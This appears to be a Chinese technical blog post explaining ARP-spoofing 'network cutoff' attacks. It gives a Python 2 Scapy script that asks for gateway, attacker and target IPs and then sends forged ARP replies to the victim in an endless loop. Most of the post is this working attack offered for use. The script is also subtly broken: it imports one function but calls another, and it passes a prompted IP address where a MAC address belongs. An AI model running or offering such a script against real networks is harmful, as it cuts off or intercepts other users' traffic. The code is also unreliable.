pythonarp攻击_python通过scapy模块进行arp断网攻击

本文介绍了一种基于ARP欺骗原理的断网攻击方法,并提供了在Linux环境下使用Scapy模块的具体实现步骤及代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:

想实现像arpsoof一样的工具

arp断网攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者

只要持续不断发送arp包就能造成中间人攻击或者断网攻击。

0x01:

准备工作

Linux环境下:(windows环境下各种错误,其中有个错误是缺少windows.dll至今无法解决)

有scapy模块

如果没有进行安装

py2安装方法

pip install scapy

py3安装方法

pip install scapy3

我们要用到scapy模块里的

from scapy.all import (

ARP,

Ether,

sendp

)

from scapy.l2 import getmacip

Ether是构造网络数据包

ARP进行ARP攻击

sendp进行发包

代码如下:

import os

from scapy.l2 import getmacip

from scapy.all import (

ARP,

Ether,

sendp

)

ifconfig=os.system('ifconfig')

print ifconfig

gmac=raw_input('Please enter gateway IP:')

liusheng=raw_input('Please enter your IP:')

liusrc=raw_input('Please enter target IP:')

try:

tg=getmacbyip(liusrc)

print tg

except Exception , f:

print '[-]{}'.format(f)

exit()

def arpspoof():

try:

eth=Ether()

arp=ARP(

op="is-at",#ARP响应

hwsrc=gmac,#网关mac

psrc=liusheng,#网关IP

hwdst=tg,#目标Mac

pdst=liusrc#目标IP

)

print ((eth/arp).show())

sendp(eth/arp,inter=2,loop=1)

except Exception ,g:

print '[-]{}'.format(g)

exit()

arpspoof()

运行截图

1174022-20180128000643772-1706275481.png

效果图

1174022-20180128000713490-792832103.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值